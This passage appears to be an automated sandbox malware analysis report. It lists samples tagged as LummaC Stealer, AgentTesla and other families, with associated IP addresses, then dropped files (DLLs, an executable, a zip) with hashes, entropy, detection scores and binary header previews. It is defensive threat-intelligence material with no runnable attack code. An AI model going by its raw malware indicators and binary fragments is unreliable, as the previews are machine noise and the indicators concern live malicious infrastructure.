	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	103.235.47.188 180.163.242.102 104.21.71.43
	FPBKcOFjEP.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	103.235.47.188 180.163.242.102 104.21.71.43
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	103.235.47.188 180.163.242.102 104.21.71.43
	LiteDBViewer.exe	Get hash	malicious	LummaC Stealer	Browse	103.235.47.188 180.163.242.102 104.21.71.43
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.8.82 104.21.71.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.8.82 104.21.71.43
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	104.21.8.82 104.21.71.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.8.82 104.21.71.43
	z21nfe_20231205_001.vbs	Get hash	malicious	Unknown	Browse	104.21.8.82 104.21.71.43
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.8.82 104.21.71.43
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.8.82 104.21.71.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.8.82 104.21.71.43
	LiteDBViewer.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.8.82 104.21.71.43
	tnAuKiW7Ll.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer	Browse	104.21.8.82 104.21.71.43

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImABU.dll	o3S4CLq1ie.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\IMHttpComm.dll	o3S4CLq1ie.exe	Get hash	malicious	Unknown	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\9061df7d

Download File

Process:	C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe
File Type:	data
Category:	dropped
Size (bytes):	6567457
Entropy (8bit):	7.9467878410515596
Encrypted:	false
SSDEEP:	98304:/obs1NNt++h3aAfN2kRgTQQcsZpsurDU7Qot2Rc9VlotTWRqAAwkljRUBUNr:/obs1NNt++3uk+VZTc7fIckWxkljIUNr
MD5:	EAF8DF2523DD35FDD5B1DC525D87084C
SHA1:	5776E0F78E53B99CC069928630280899CA0E7601
SHA-256:	61E18F2FE892C123A5E1A0BF788AFB48DFAF22F790C7587831A636F2AB343840
SHA-512:	6F9C28F83D707A492C15931B66558DD76AACA5EC0ED0C33AF496380569233C4F53A03649D8B662D53D2576D5FB9604F366503D664145390106F6F6CB7318AD71
Malicious:	false
Preview:	_.._..]..\..]..x..H..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..y.......y...?...3.......3.......(...2.......=.......(...\..\..\..\..\..\..\..\..\..\..\......5...0.......\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\......9.......=...\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..y..............:...........+...\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..*...r...n...\..\..\..\..\..\..\..\..\..\..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2xpdsmhp.kes.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hvuz5cwa.nmv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	19023037
Entropy (8bit):	7.9987485546275465
Encrypted:	true
SSDEEP:	393216:P8xL+uuWE0MM8M/a6uVDDBcrddjuJ8BZBDLswVYxy35dus3C9nUoMul:POK335dpUE8HBDTUyJsucUox
MD5:	3371A85FDCAE2F983412F1BE30323226
SHA1:	2CA2F82D772B065D9F6115F0DA8CBE7AD9D8D361
SHA-256:	C2D6630587431855ED74465515F9429A6EA25EF21F55D7523619BA6BA242C200
SHA-512:	C300A72F495A94B0C6648E91B6E827A0F61EF87A261E17B597A6F5ACC65CAA825AC9E865048DE1F974F3DD0D0B650FCBAF6F217D7FE7119FCB6BCE8380686939
Malicious:	false
Preview:	PK.........c.Y.............. .wlessfp1.dllUT...P.QgP.QgP.Qgux..............y\T...\|g..20..6........(.h(3l....#"....4.9....o.........(......E41Mq..y..............g..y..<.;.....Q.%.p8(...>!.....z......~.H.u..8..,...y.2..U...1.....4g.fg..cUs.%....l...`.....]...@...j.........g.5q_..."./.......$.#.>%a?....cf.4b.mq.ST...2W..i...Y..MQ.!..K+.._....<......$..A@....lS......q...{(j..).A..3...3.........6..<......SJ.....y..SM.9?..6 3y...t..I.9q~...\1.6......K....Y.3)~..\|..'....>....)2..\._...~.~.~.~.~.~.~.~.~.~.~.~.~........dhF'.(..lQj........r.=N-..U...>P6......QQ.0.....?@ @.@....D.e._.!.X.......[.m.5....=.!.H.ru..5;...^Y.....L....SL...K......(.r5...70.....M....v.r........&..k...-.%....l...\|3u.......Xi&N-..:}... /)..c.......K.t...W.,W......K?....z.h.d.d.....{.Rs&K.....:..Y....~.OT...E......j^g.u.u.!.J`W&.!.JD.Z....I.S'.5..&.....:G.......1A.&..K..2...I(...!!%I2M.hg..!n~TY...>0R.H.8.D..wR"v.$.[..W\+8...W.*B...t9TG/..t..P.B.Mf....b...D$\i.P..KK.1.

C:\Users\user\AppData\Local\Temp\vamfxsepn

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5832704
Entropy (8bit):	6.277316232597118
Encrypted:	false
SSDEEP:	49152:LB9K13glUF3PGHFuzUvD+K6rb8I1dskEAOe8qFwajpSMj4g+/8Y/2ayrEucAwAeV:t9S3D6vCK69eeF+EsoU
MD5:	AF3930F27D73F7AE7D3998039EFB9425
SHA1:	A08D31F70C7CA0AD96C86CB338066406E9C22C2C
SHA-256:	8916AE9F7B47312080D37027730ECC5E340243ECA0924B3B458754F315CFCD48
SHA-512:	77B46232789D40C45A119C51A0183BCC71EC5DF2FA3670D05006EDFCA8D18F9FB85DD6DEAC3366A62C84BBE071372985F84E886168B84C51172C7B3D03629E6E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."W.Z..X...............+..........&........R...@...........................[...........@..................................`Y.L............................pY.....................................................`.R..............................text...m.+.......+................. ..`.rdata...>'...+..@'...+.............@..@.data... `....R.......R.............@....idata..L....`Y.......V.............@....reloc.......pY.......V.............@..B.symtab.......[.......X................Baukkn....0....[..,....X.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\IMHttpComm.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33128
Entropy (8bit):	6.491343791629653
Encrypted:	false
SSDEEP:	384:UYacYCuDAIKaDEsdpRPcWzXKNfdZ1uTslWfXLhxyM8OjrsVIObsU25hoe1nYPLMt:Scr9/i1AscZ1wf7h4bOjKRsIe1
MD5:	A70D91A9FD7B65BAA0355EE559098BD8
SHA1:	546127579C06AE0AE4F63F216DA422065A859E2F
SHA-256:	96D6264B26DECF6595CA6F0584A1B60589EC5DACDF03DDF5FBB6104A6AFC9E7A
SHA-512:	F13B735A47090C7C6CC6C2BF9148408EE6DB179C96EE6428270541F27E50AD12CFF7486F3A6FFAC2BA83FD2E6E8E49661E6258F5AEE97EB0F48771CBBD22AEFA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Joe Sandbox View:	Filename: o3S4CLq1ie.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".k]f...f...f....+{.d...A)x.g...A)k.b...A)h.k...A)~.b...o...m...f...>...A)w.`...A)..g...A)y.g...A)}.g...Richf...........PE..L...b*.N...........!.....4...0.......;.......P.......................................T...............................e..S....Z.......................h..h.......,....Q..............................0T..@............P..d............................text....2.......4.................. ..`.rdata..c!...P..."...8..............@..@.data...<............Z..............@....rsrc................\..............@..@.reloc..t............b..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImABU.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	317864
Entropy (8bit):	6.103378713761166
Encrypted:	false
SSDEEP:	6144:8nZnLK6dcH+GoXPk5XYlmqPyrcXKFOgCYr:8n1LRjGoMJcX2r
MD5:	2102382908725F195CE2C3703CAA0C5F
SHA1:	1B2817C66C9E98E3286498382A7136F1232FC67A
SHA-256:	C56D37F20069E48EADE31236B4D3AA5AFDA2621BD77760E85964F1E6834BE9A6
SHA-512:	80986592A58856B2E741C88F3D0D89512FA05FE77D2A2DDD2C411593875568E842EBA2E8AE2CCF1DE52BDF21B6A7227156BF69E40AE1FD20C5D592A8C814974F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Joe Sandbox View:	Filename: o3S4CLq1ie.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U................_..............6.......6.......6.........j.....6...........o~..6.......6.......6.......6.......Rich............................PE..L......Q...........!................................................................Z..............................`1......X!..@....`.......................p...D..@...............................X...@............................................text...e........................... ..`.rdata...".......0..................@..@.data........@.......@..............@....rsrc........`.......P..............@..@.reloc...Q...p...`...`..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264616
Entropy (8bit):	5.992392089489149
Encrypted:	false
SSDEEP:	6144:Vb8R0q4y8fIfAHIJsAI3HsmF3HDONwz8XUJOo:x82PpoAMg3i+j
MD5:	312707A513F86ED20642F43F8EF4DD14
SHA1:	EAB360E8A8E8E5B6BF139394CA1409888586D02F
SHA-256:	9B398917C796083A6005AB3F9D78243DBC0FAD12BE1E196BE2B01041D4C951A7
SHA-512:	CD11B6CC2D058F5825BD90F342DF22FC22FE19F5E3E1CBB197FBBE83A64367BBEAAC748CE9D9685403F3C32A36B329E061FABBF54BADC5486C442D5DF7168F30
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m...).`.).`.).`..d.+.`. ...*.`..C..+.`..A..,.`..A..?.`. ...;.`..A..8.`.).a.6.`..A..&.`..A..(.`..A..(.`.Rich).`.................PE..L......Q............................b........ ....@.................................FI......................................$...\|....0..X\|...................... 6...)..............................0...@............ ...............................text............................... ..`.rdata....... ....... ..............@..@.data...,........ ..................@....rsrc...X\|...0.......0..............@..@.reloc...6.......@..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImDbU.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	88488
Entropy (8bit):	5.602595792023789
Encrypted:	false
SSDEEP:	1536:zlwQkY/WTi9rvhhpMV52QTXiy2Ael9tUzODb3UdCCHoXH:SeWTCrvhhYnvel9tUzODb3Ud3IX
MD5:	8AE8BB143301934A023BC5C9BB160B56
SHA1:	228C965619B188CC3C68563BD33691158699416C
SHA-256:	DB890BB2555E0BF3F82B38DC12ECD581348E40E53F9A51DD512149075C7DF0A4
SHA-512:	827729A19F68C732F9AB9E4DE90DD5C8CDCE9993487C9016AC646C3C4AB966431C51B999E45571EFC0AD0380E5D280AA32BCF8B07A73CC52E70A11935AE5356B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............f..f..f......f.Bt...f..v...f..v...f..v...f..v...f..g.`.f..v...f..v...f..v...f..v...f.Rich.f.........PE..L......Q...........!................n........................................@......................................`.......\...........D............@....... ..........................................@............................................text...\|........................... ..`.rdata..b3.......@..................@..@.data...............................@....rsrc...D...........................@..@.reloc....... ... ... ..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImLookExU.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	268712
Entropy (8bit):	6.221329113638471
Encrypted:	false
SSDEEP:	6144:2X6ytmY4o8xnZSYDI73lFlNogVFl4OgqxLwSrIs:2X6ytmY4pZSYkTlNTfw2Is
MD5:	6527BE4D6A3333DC5A49218C4F80530D
SHA1:	97C8965B01D2644FB17A0F818AF59BC0471E38A7
SHA-256:	908AB22CB8FA1B9125CF5746E5591FD84E4853326A812B9431CA1C0B9E997E1F
SHA-512:	69A57CC28583861B97A02968106F007D56C2B5826FC5AA843978F0BF3A3F155AD9F2B7DFBE8260E38C2A7B1ED759F6F6FADBEEF32CEC9D7C4AB8F541F645DC5B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o...u...u...u.].q...u..v....u.5.....u.......u.......u...(...u..v..u..v..u.......u...t...u.......u.......u.......u.......u.Rich..u.................PE..L......Q...........!.....p...........-.............g................................................................ v..^...$V..@.......@........................B..p...................................@...............T............................text....j.......p.................. ..`.rdata..~...........................@..@.data...............................@....rsrc...@...........................@..@.reloc...B.......P..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImLookU.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	620968
Entropy (8bit):	6.331630729579597
Encrypted:	false
SSDEEP:	6144:5hvkhcT5e0HWJ5/10UfCrXCL12gQhYwtHWDEyF0nb6rFBvJ+sbJeDH+8uGh7xgLX:5hvkhcTd2JxXCrS85h0Dh0nMKbz45
MD5:	3EA6D805A18715F7368363DEA3CD3F4C
SHA1:	30FFAFC1DD447172FA91404F07038D759C412464
SHA-256:	A6766C524497144D585EFA4FE384B516B563203427003508F7C8F6BFFA7C928D
SHA-512:	A102F23741DE4CA2184485D9AA4DDD1A36B9EA52CB0859CFD264D69A9996293B7E29B325625F1F6F9330D6C80FF415E09E85E1AE838C58ACEF585AE8DFFE3070
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{...._..._..._.._..._X1k_..._.3h_..._.3x_..._..H_..._.._..._.3n_..._..._..._.3{_..._.3o_..._.3i_..._.3m_..._Rich..._........................PE..L......Q...........!.........`.......V.............g.........................p......F2..............................P...........@....p...G...........`..........\|...................................x,..@...............\|............................text............................... ..`.rdata...5.......@..................@..@.data...p+...@... ...@..............@....rsrc....G...p...P...`..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImNtUtilU.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	96680
Entropy (8bit):	5.83642626060557
Encrypted:	false
SSDEEP:	1536:q01U2obLeNvXXZ6Wb/2LamjMkUYCTSZaKAxvSJKRDOAG921:NobLeNvXp6Ou+mjMkUYC2ZVAxxFOAG9s
MD5:	BB326FE795E2C1C19CD79F320E169FD3
SHA1:	1C1F2B8D98F01870455712E6EBA26D77753ADCAC
SHA-256:	A8E1B0E676DCE9556037D29FD96521EC814858404BA4CFDD0DB0EDBE22C87BC7
SHA-512:	A1EC894151BAA14E4AC1EE9471E8606BF74EDD39F7833D9A1A44EEE74D403F6B52780C135E9718FF9564FA27D7128C22B8410B21F77E6D804F698CFB4EDA65A1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Xn.....................;.......;.......;........w........~....;.......;.......;.......;.......Rich....................PE..L......Q...........!................)..............g.........................`......6...............................p ..........x....@...............`.......P......`...................................@...............D............................text............................... ..`.rdata..JE.......P..................@..@.data........0.......0..............@....rsrc........@.......@..............@..@.reloc.......P.......P..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImUtilsU.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1464744
Entropy (8bit):	6.434153207270156
Encrypted:	false
SSDEEP:	24576:2EQirQajY+S5eqyL9dj7GP4a6xKlnNYndIA1HVtFyC0Glqb6WUOQZljMFbDG0:fQj+S5epJl7+eenN5+HVDD0bUOQPUbDP
MD5:	A7EABA8BC12B2B7EC2A41A4D9E45008A
SHA1:	6A96A18BB4F1CD6196517713ED634F37F6B0362B
SHA-256:	914B1E53451B8BE2C362D62514F28BDEF46A133535D959B13F3F4BF3BC63DF3A
SHA-512:	0AE7FBDB2677D92C62337AA17B60A4887240A4A426BA638C7633587F4582ADBCDA2BDE5EC824AAB1A3F69ACF2B391118763842ACFAB856D3D9764850961A2AC8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........L.4U-wgU-wgU-wg...gV-wgr..gX-wgr..g\-wgr..gp-wg\U.gX-wg\U.gw-wgU-wg.-wgr..g^-wgU-vg.)wgr..g%-wgr..gT-wgr..gT-wgr..gT-wgRichU-wg........................PE..L......Q...........!.........0....................2g................................4...................................C)...,.......................@....... ...d...#...............................................................................text............................... ..`.rdata..C...........................@..@.data............`..................@...ve_share(....p....... ..............@....rsrc................0..............@..@.reloc..xi... ...p..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImWrappU.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	162216
Entropy (8bit):	5.74756267972498
Encrypted:	false
SSDEEP:	1536:+Vcm093l7KjJdwXjCsZ+WymDAZZxgbgROgldJ+VEcn75A:+Vcm03ggjCsZDym6Og5+Vpm
MD5:	CBF4827A5920A5F02C50F78ED46D0319
SHA1:	B035770E9D9283C61F8F8BBC041E3ADD0197DE7B
SHA-256:	7187903A9E4078F4D31F4B709A59D24EB6B417EA289F4F28EABCE1EA2E713DCE
SHA-512:	D1A285FB630F55DF700A74E5222546656DE7D2DA7E1419E2936078340767D0BAB343B603BA0D07140C790EB5D79A8A34B7818B90316EA06CB9F53CAD86B6D3F5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 14%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........g..~.B.~.B.~.B...B.~.B...B.~.BK.wB.~.B..tB.~.B..dB.~.B.~.Bo~.B..rB.~.B..gB.~.B..sB.~.B..uB.~.B..qB.~.BRich.~.B........PE..L......Q...........!.................K.............g.........................`......................................`.......L........0...............`.......@..\......................................@............................................text...S........................... ..`.rdata..}j.......p..................@..@.data...l.... ....... ..............@....rsrc........0.......0..............@..@.reloc.......@... ...@..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\Microsoft.VC80.CRT.manifest

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (504), with CRLF line terminators
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	5.395078491534145
Encrypted:	false
SSDEEP:	48:3SlK+hk6g4u09kkK23zWO09kkKFzv09kkKldSzY:Clth9uXkd3COXkgTXkX8
MD5:	541423A06EFDCD4E4554C719061F82CF
SHA1:	2E12C6DF7352C3ED3C61A45BAF68EACE1CC9546E
SHA-256:	17AD1A64BA1C382ABF89341B40950F9B31F95015C6B0D3E25925BFEBC1B53EB5
SHA-512:	11CF735DCDDBA72BABB9DE8F59E0C180A9FEC8268CBFCA09D17D8535F1B92C17BF32ACDA86499E420CBE7763A96D6067FEB67FA1ED745067AB326FD5B84188C6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <noInheritable></noInheritable>.. <assemblyIdentity type="win32" name="Microsoft.VC80.CRT" version="8.0.50727.762" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"></assemblyIdentity>.. <file name="msvcr80.dll" hash="10f4cb2831f1e9288a73387a8734a8b604e5beaa" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Transforms><dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity"></dsig:Transform></dsig:Transforms><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></dsig:DigestMethod><dsig:DigestValue>n9On8FItNsK/DmT8UQxu6jYDtWQ=</dsig:DigestValue></asmv2:hash></file>.. <file name="msvcp80.dll" hash="b2082dfd3009365c5b287448dcb3b4e2158a6d26" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xml

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\Microsoft.VC80.MFC.manifest

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (504), with CRLF line terminators
Category:	dropped
Size (bytes):	2371
Entropy (8bit):	5.376374702643811
Encrypted:	false
SSDEEP:	48:3SlK+x6g4m09kkKZzY09kkKSzdz09kkKWz+09kkK5e/zY:CltImXkEMXkvdXkHCXk648
MD5:	97B859F11538BBE20F17DFB9C0979A1C
SHA1:	2593AD721D7BE3821FD0B40611A467DB97BE8547
SHA-256:	4ED3BA814DE7FD08B4E4C6143D144E603536C343602E1071803B86E58391BE36
SHA-512:	905C7879DF47559AD271DC052EF8AE38555EAC49E8AC516BC011624BF9A622EB10EE5C6A06FBD3E5C0FA956A0D38F03F6808C1C58EE57813818FE8B8319A3541
Malicious:	false
Preview:	.<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <noInheritable></noInheritable>.. <assemblyIdentity type="win32" name="Microsoft.VC80.MFC" version="8.0.50727.762" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"></assemblyIdentity>.. <file name="mfc80.dll" hash="8f53f3ce664dfb39cadf8ecb34dd49cbd8348227" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Transforms><dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity"></dsig:Transform></dsig:Transforms><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></dsig:DigestMethod><dsig:DigestValue>1ojXfwyqiX5uwu0seJ53tIMEcB8=</dsig:DigestValue></asmv2:hash></file>.. <file name="mfc80u.dll" hash="db3a3bfed210d41af3579d948cace75cb74eee0a" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:

C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\SftTree_IX86_U_60.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11161368
Entropy (8bit):	7.937871340368535
Encrypted:	false
SSDEEP:	196608:9Eyur2olO+VZA0i+50l7b1DPl3VOoGQmH/h77+UVWB5rGObit:jeNyB1DFVAfJ7K4ChVit
MD5:	C010B084129E3316CA16001EBB116BFC
SHA1:	3FB7C6211114A73365803A47A806082F50DEED17
SHA-256:	2CB66C1F7CBE9DB93539F9DC22398706C44C2E5CF8AD45F3724A7073B7F1DFAF
SHA-512:	FAFF290143D5818BB71560AE461391B2F483E398476594972F0EDE105164CE84F22390D10F24BC6A013DE7398A7666DA4423D429140BD11C5F4C129DC37CD667
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
